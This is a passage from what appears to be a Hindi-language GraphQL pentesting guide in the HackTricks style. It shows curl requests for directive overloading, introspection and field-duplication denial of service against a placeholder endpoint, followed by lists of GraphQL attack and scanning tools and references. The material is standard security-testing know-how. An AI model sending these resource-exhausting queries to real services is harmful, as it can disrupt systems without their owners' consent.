-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
आप सभी घोषित निर्देशों का पता लगाने के लिए एक अंतर्दृष्टि प्रश्न भी भेज सकते हैं:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
और फिर कुछ कस्टम का उपयोग करें।
फील्ड डुप्लिकेशन कमजोरियाँ
फील्ड डुप्लिकेशन एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को दोबारा हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से सेवा से इनकार (DoS) की स्थिति उत्पन्न हो सकती है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Tools
Vulnerability scanners
- https://github.com/dolevf/graphql-cop: graphql एंडपॉइंट्स की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
- https://github.com/assetnote/batchql: बैच GraphQL क्वेरी और म्यूटेशन करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
- https://github.com/dolevf/graphw00f: उपयोग किए जा रहे graphql की फिंगरप्रिंटिंग करें
- https://github.com/gsmith257-cyber/GraphCrawler: टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: इसे स्टैंडअलोन के रूप में या Burp extension के रूप में उपयोग किया जा सकता है।
- https://github.com/swisskyrepo/GraphQLmap: इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके
- https://gitlab.com/dee-see/graphql-path-enum: टूल जो GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों की सूची बनाता है।
- https://github.com/doyensec/GQLSpection: InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
- https://github.com/doyensec/inql: उन्नत GraphQL परीक्षण के लिए Burp extension। Scanner InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL एंडपॉइंट या एक स्थानीय इंट्रोस्पेक्शन स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। Attacker घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को दरकिनार करने के लिए उपयोगी हो सकता है।
- https://github.com/nikitastupin/clairvoyance: कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही इंट्रोस्पेक्शन अक्षम हो।
Clients
- https://github.com/graphql/graphiql: GUI क्लाइंट
- https://altair.sirmuel.design/: GUI क्लाइंट
Automatic Tests
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
- AutoGraphQL को समझाने वाला वीडियो: https://www.youtube.com/watch?v=JJmufWfVvyU
References
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
मोबाइल सुरक्षा में अपनी विशेषज्ञता को 8kSec Academy के साथ गहरा करें। हमारे स्व-गति पाठ्यक्रमों के माध्यम से iOS और Android सुरक्षा में महारत हासिल करें और प्रमाणित हों:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}













